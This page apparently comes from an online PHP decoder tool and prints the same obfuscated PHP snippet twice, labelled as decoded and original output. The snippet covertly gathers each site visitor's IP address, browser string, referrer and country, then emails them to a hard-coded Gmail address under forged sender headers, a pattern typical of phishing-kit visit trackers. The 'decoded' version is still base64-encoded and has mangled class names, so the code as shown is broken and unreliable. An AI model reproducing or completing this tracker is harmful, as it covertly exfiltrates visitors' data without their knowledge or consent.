Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php <?php $kcqmjufj_2287215375=base64_decode('dnVscGVzYWdlbnRAZ21haWwuY29t');$qfowqmpe_1..

Decoded Output download

<?php <?php $kcqmjufj_2287215375=base64_decode('dnVscGVzYWdlbnRAZ21haWwuY29t');$qfowqmpe_1806360326=base64_decode('UGFnZSBWaXNpdGVk');$ocyelkpj_2649872485=base64_decode('aXBfdmlzaXRfbG9nLmpzb24=');$ijboucho_2303661966=$_SERVER[base64_decode('UkVNT1RFX0FERFI=')];$retmfboc_1089061249=$_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')];$qecksvll_3982779751=isset($_SERVER[base64_decode('SFRUUF9SRUZFUkVS')])?preg_replace(base64_decode('L15odHRwcz86Ly8v'),'',$_SERVER[base64_decode('SFRUUF9SRUZFUkVS')]):base64_decode('Tm8gcmVmZXJyZXI=');$rsdvuket_1400097126=base64_decode('VW5rbm93bg==');$uifmqugi_14847640="http://ip-api.com/json/$ijboucho_2303661966?fields=status,country";$bbtmqurh_3502406746=@file_get_contents($uifmqugi_14847640);if($bbtmqurh_3502406746!==false){$iwlxzaqv_2849299555=json_decode($bbtmqurh_3502406746,true);if(isset($iwlxzaqv_2849299555[base64_decode('c3RhdHVz')])&&$iwlxzaqv_2849299555[base64_decode('c3RhdHVz')]===base64_decode('c3VjY2Vzcw==')){$rsdvuket_1400097126=$iwlxzaqv_2849299555[base64_decode('Y291bnRyeQ==')];}}$dgdombkn_2482226890=new dcqpayuf_3400993698(base64_decode('bm93'),new dokuofnv_1004225159(base64_decode('KzAxOjAw')));$nsyrbqli_2782324286=$dgdombkn_2482226890->owkyiffm_3736761055(base64_decode('WS1tLWQgSDppOnM='));$byxmtdlu_4035954268=[];if(file_exists($ocyelkpj_2649872485)){$byxmtdlu_4035954268=json_decode(file_get_contents($ocyelkpj_2649872485),true);}$vuxexvva_2686972195=time();foreach($byxmtdlu_4035954268 as $ggcvvkce_2783163181=>$sooqqjoo_4190067737){if($vuxexvva_2686972195-$sooqqjoo_4190067737>43200){unset($byxmtdlu_4035954268[$ggcvvkce_2783163181]);}}if(isset($byxmtdlu_4035954268[$ijboucho_2303661966])){exit();}$byxmtdlu_4035954268[$ijboucho_2303661966]=$vuxexvva_2686972195;file_put_contents($ocyelkpj_2649872485,json_encode($byxmtdlu_4035954268));$yrqvswna_2241847605.=base64_decode('UGFnZTog').$qecksvll_3982779751.base64_decode('Cg==');$yrqvswna_2241847605.=base64_decode('Q3VzdG9tZXIgSVA6IA==').$ijboucho_2303661966.base64_decode('Cg==');$yrqvswna_2241847605.=base64_decode('Q291bnRyeTog').$rsdvuket_1400097126.base64_decode('Cg==');$yrqvswna_2241847605.=base64_decode('QnJvd3NlciBJbmZvOiA=').$retmfboc_1089061249.base64_decode('Cg==');$yrqvswna_2241847605.=base64_decode('VGltZXN0YW1wOiA=').$nsyrbqli_2782324286.base64_decode('Cg==');$friscvub_668989004=bin2hex(random_bytes(16));$luwuzikp_4144189317=base64_decode('RnJvbTogVklTSVRA').$friscvub_668989004.base64_decode('LmNvbQ==').base64_decode('DQo=').base64_decode('UmVwbHktVG86IFZJU0lUQA==').$friscvub_668989004.base64_decode('LmNvbQ==').base64_decode('DQo=').base64_decode('WC1NYWlsZXI6IFBIUC8=').phpversion();@mail($kcqmjufj_2287215375,$qfowqmpe_1806360326,$yrqvswna_2241847605,$luwuzikp_4144189317);exit();?>

Did this file decode correctly?

Original Code

<?php <?php $kcqmjufj_2287215375=base64_decode('dnVscGVzYWdlbnRAZ21haWwuY29t');$qfowqmpe_1806360326=base64_decode('UGFnZSBWaXNpdGVk');$ocyelkpj_2649872485=base64_decode('aXBfdmlzaXRfbG9nLmpzb24=');$ijboucho_2303661966=$_SERVER[base64_decode('UkVNT1RFX0FERFI=')];$retmfboc_1089061249=$_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')];$qecksvll_3982779751=isset($_SERVER[base64_decode('SFRUUF9SRUZFUkVS')])?preg_replace(base64_decode('L15odHRwcz86Ly8v'),'',$_SERVER[base64_decode('SFRUUF9SRUZFUkVS')]):base64_decode('Tm8gcmVmZXJyZXI=');$rsdvuket_1400097126=base64_decode('VW5rbm93bg==');$uifmqugi_14847640="http://ip-api.com/json/$ijboucho_2303661966?fields=status,country";$bbtmqurh_3502406746=@file_get_contents($uifmqugi_14847640);if($bbtmqurh_3502406746!==false){$iwlxzaqv_2849299555=json_decode($bbtmqurh_3502406746,true);if(isset($iwlxzaqv_2849299555[base64_decode('c3RhdHVz')])&&$iwlxzaqv_2849299555[base64_decode('c3RhdHVz')]===base64_decode('c3VjY2Vzcw==')){$rsdvuket_1400097126=$iwlxzaqv_2849299555[base64_decode('Y291bnRyeQ==')];}}$dgdombkn_2482226890=new dcqpayuf_3400993698(base64_decode('bm93'),new dokuofnv_1004225159(base64_decode('KzAxOjAw')));$nsyrbqli_2782324286=$dgdombkn_2482226890->owkyiffm_3736761055(base64_decode('WS1tLWQgSDppOnM='));$byxmtdlu_4035954268=[];if(file_exists($ocyelkpj_2649872485)){$byxmtdlu_4035954268=json_decode(file_get_contents($ocyelkpj_2649872485),true);}$vuxexvva_2686972195=time();foreach($byxmtdlu_4035954268 as $ggcvvkce_2783163181=>$sooqqjoo_4190067737){if($vuxexvva_2686972195-$sooqqjoo_4190067737>43200){unset($byxmtdlu_4035954268[$ggcvvkce_2783163181]);}}if(isset($byxmtdlu_4035954268[$ijboucho_2303661966])){exit();}$byxmtdlu_4035954268[$ijboucho_2303661966]=$vuxexvva_2686972195;file_put_contents($ocyelkpj_2649872485,json_encode($byxmtdlu_4035954268));$yrqvswna_2241847605.=base64_decode('UGFnZTog').$qecksvll_3982779751.base64_decode('Cg==');$yrqvswna_2241847605.=base64_decode('Q3VzdG9tZXIgSVA6IA==').$ijboucho_2303661966.base64_decode('Cg==');$yrqvswna_2241847605.=base64_decode('Q291bnRyeTog').$rsdvuket_1400097126.base64_decode('Cg==');$yrqvswna_2241847605.=base64_decode('QnJvd3NlciBJbmZvOiA=').$retmfboc_1089061249.base64_decode('Cg==');$yrqvswna_2241847605.=base64_decode('VGltZXN0YW1wOiA=').$nsyrbqli_2782324286.base64_decode('Cg==');$friscvub_668989004=bin2hex(random_bytes(16));$luwuzikp_4144189317=base64_decode('RnJvbTogVklTSVRA').$friscvub_668989004.base64_decode('LmNvbQ==').base64_decode('DQo=').base64_decode('UmVwbHktVG86IFZJU0lUQA==').$friscvub_668989004.base64_decode('LmNvbQ==').base64_decode('DQo=').base64_decode('WC1NYWlsZXI6IFBIUC8=').phpversion();@mail($kcqmjufj_2287215375,$qfowqmpe_1806360326,$yrqvswna_2241847605,$luwuzikp_4144189317);exit();?>

Function Calls

None

Variables

None

Stats

MD5 a532f3cdaf3acfbe94219d44970943b2
Eval Count 0
Decode Time 52 ms